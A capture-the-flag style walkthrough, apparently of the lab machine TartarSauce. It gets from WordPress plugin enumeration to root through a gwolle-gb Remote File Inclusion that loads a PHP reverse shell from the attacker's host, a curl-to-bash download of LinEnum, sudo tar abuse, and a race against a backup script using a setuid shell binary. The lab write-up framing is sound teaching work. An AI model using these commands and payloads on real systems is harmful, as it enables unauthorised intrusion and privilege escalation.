But, looking at the gobuster results from the directory brute-force started earlier, we have found another promising candidate: /webservices/wp. It shows a rather empty wordpress installation, but as abandoned software often that lets you in, let’s start enumerating it.

Having a look at Wordpress’ default directories, we see that browsing them is a bit tedious as it seems the base url of the site is misconfigured (missing a slash after http:/).

While we could manually correct all HTTP requests through an intercepting proxy, there’s a nice trick to do it automatically in Burp.

Going to Options in the Proxy tab, we can add a rule under Match and Replace and tell it to replace GET /10.10.10.88/webservices in the request header with GET /webservices. Similarly, we could do this for other methods and headers as well.

Now we can browse the site regularly through the Burp proxy.

Unfortunately, we’re not lucky with weak credentials this time, and even notice a delay in processing the login requests to prevent brute-forcing.

As Wordpress security is often compromised using third-party plugins, let’s have a look at WPScan to enumerate plugins:

wpscan --url http://10.10.10.88/webservices/wp -e ap --plugins-detection aggressive

(Using aggressive detection as passive/mixed did not yield results)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/
 | Last Updated: 2019-11-13T20:46:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
 | [!] The version is out of date, the latest version is 4.1.3
 |
 | Found By: Known Locations (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/, status: 200
 |
 | Version: 4.0.3 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt

[+] brute-force-login-protection
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/
 | Latest Version: 1.5.3 (up to date)
 | Last Updated: 2017-06-29T10:39:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt
 |
 | Found By: Known Locations (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/, status: 403
 |
 | Version: 1.5.3 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt

[+] gwolle-gb
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/
 | Last Updated: 2019-10-25T15:26:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | [!] The version is out of date, the latest version is 3.1.7
 |
 | Found By: Known Locations (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200
 |
 | Version: 2.3.10 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt

Going through these and researching past vulnerabilities, we find a potential Remote File Inclusion vulnerability in gwolle-gb, albeit for a different version.

As it’s a very easy exploit, let’s try it anyway.

First shell

We create a file wp-load.php in a directory on our machine and add code for a PHP reverse shell. I chose the shell from SecLists, present at seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php.

After changing the IP to our own and port to one of choice, we can launch a webserver from the directory of our wp-load.php file (python3 -m http.server 80), spin up a netcat listener (nc -lvnp <port>), and then navigate to http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://<our IP>/.

It works and we get our first shell as www-data. The version information in the readme.txt that WPScan read was thus false information.

Privilege escalation to user

To get a nicer shell, let’s quickly do a python3 -c 'import pty; pty.spawn("/bin/bash")' followed by backgrounding, stty raw -echo and foregrounding again (check the blog post “Upgrading Simple Shells to Fully Interactive TTYs” at blog.ropnop.com for details about this trick).

One of the first things to check once we get an initial foothold is – amongst other things – see if we can execute commands as another user. In this case, we can:

www-data@TartarSauce:/$ sudo -l
Matching Defaults entries for www-data on TartarSauce:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on TartarSauce:
 (onuma) NOPASSWD: /bin/tar

Being able to run tar as the user onuma probably means we can easily escalate to that user:

$ sudo -u onuma /bin/tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
$ id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)

The reason this works is that -I allows us to specify a custom compression program (-I == --use-compress-program). It is not the only method of abusing tar for privilege escalation, though. Have a look at the gtfobins page for tar.

Getting root

Having our new permission, we can run an enumeration script to get an overview of the system. We can host LinEnum on our machine (e.g. python3 -m http.server 80) and then load it and pipe it into bash in the onuma shell:

curl http://10.10.14.36/LinEnum.sh | bash

Amongst other things we see a couple of files related to some kind of backup and more specifally a systemd timer:

[-] Systemd timers: 
NEXT LEFT LAST PASSED UNIT ACTIVATES 
Sun 2020-02-09 17:08:42 EST 3min 24s left Sun 2020-02-09 17:03:42 EST 1min 35s ago backuperer.timer backuperer.service

There are also a few other (false?) hints, e.g. a comment in .bashrc:

# add alias so i don't have to type root's super long password everytime i wanna switch to root :D"

I couldn’t find any clue to these, so let’s go on with finding out more about the backuperer.service and the related timer.

systemd timers are a way to start services based on time, similar to cron. We can find the configuration of “backuperer” in /etc/systemd/system/multi-user.target.wants/backuperer.timer or /lib/systemd/system/backuperer.timer, respectively.

backuperer.timer:

[Unit]
Description=Runs backuperer every 5 mins

[Timer]
# Time to wait after booting before we run first time
OnBootSec=5min
# Time between running each consecutive time
OnUnitActiveSec=5min
Unit=backuperer.service

[Install]
WantedBy=multi-user.target

And the service backuperer.service in /lib/systemd/system/backuperer.service:

[Unit]
Description=Backuperer

[Service]
ExecStart=/usr/sbin/backuperer

And, finally, the contents of /usr/sbin/backuperer:

#!/bin/bash

# [...]

# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check

# formatting
printbdr()
{
 for n in $(seq 72);
 do /usr/bin/printf $"-";
 done
}
bdr=$(printbdr)

# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
{
 /usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
 # Report errors so the dev can investigate the issue.
 /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
 integrity_chk >> $errormsg
 exit 2
else
 # Clean up and save archive to the bkpdir.
 /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
 /bin/rm -rf $check .*
 exit 0
fi

We can see that the script does – more or less – the following:

Removes dot files from /var/tmp, plus the /var/tmp/check folder.
Zips/archives the contents of /var/www/html as user onuma into a file in /var/tmp with a random name beginning with a dot.
Sleeps for 30 seconds
Creates the directory /var/tmp/check
Extracts the previously archived contents as root into the /var/tmp/check directory
Performs a diff against /var/www/html vs. /var/tmp/check/var/www/html
If the check in 6. reports differences, it just writes an error log, but leaves the files. If no differences are reported or if the diff command errors out (as, for example, the directory doesn’t exit), it moves the archive file into /var/backups and then removes the /var/tmp/check directory and dot file.

If we are able to replace the tar gzipped file with our own malicious one in the timeframe of step 3 (sleep 30), include in our own tar.gz an executable with setuid bit set and owner root, plus leave the directory structure intact (as we want a successful diff (no error) that reports differences), tar should extract (and keep permissions/attributes) and the script should not move/delete any file. After that we could then enter the check directory and execute our file to get a root shell. Let’s give it a shot:

Create a simple C program on our machine that will spawn a bash shell (and keep effective user id):

#include <stdio.h>
#include <unistd.h>

int main (void) {
 char *argv[] = { "/bin/bash", "-p", NULL };
 execve(argv[0], argv, NULL);
}

Compile for the target machine: gcc -m32 shell.c -o shell
Add the setuid: chmod +s shell (owner is already root (0) as we’re on a Kali machine)
Make the directory structure (still on our machine): mkdir -p var/www/html
Move our executable into the directory: mv shell var/www/html/
Tar the whole thing up: tar -zcvf shell.tar.gz var/

Now that we have our shell.tar.gz file, we can transfer it over to the target machine (e.g. via a HTTP server like above) and place it into, e.g. /var/tmp.

With systemctl list-timers, we can see when our window of opportunity will open (as soon as LEFT goes to 0):

NEXT LEFT LAST PASSED UNIT ACTIVATE
Mon 2020-02-10 10:52:38 EST 56s left Mon 2020-02-10 10:47:38 EST 4min 3s ago backuperer.timer backuper

Once the backuperer script runs and we can see the temp file in /var/tmp, we’ll replace it with our shell.tar.gz (cp shell.tar.gz .<random name>). A few seconds later – if everything went fine, we should find the check folder with our setuid binary in it.

Now we still have a couple of minutes left to execute the binary in /var/tmp/check/var/www/html, which gives us a root bash shell:

onuma@TartarSauce:/var/tmp/check/var/www/html$ ls
shell
onuma@TartarSauce:/var/tmp/check/var/www/html$ ./shell 
bash-4.3# id 
uid=1000(onuma) gid=1000(onuma) euid=0(root) egid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(onuma)
bash-4.3# whoami
root

Cheers!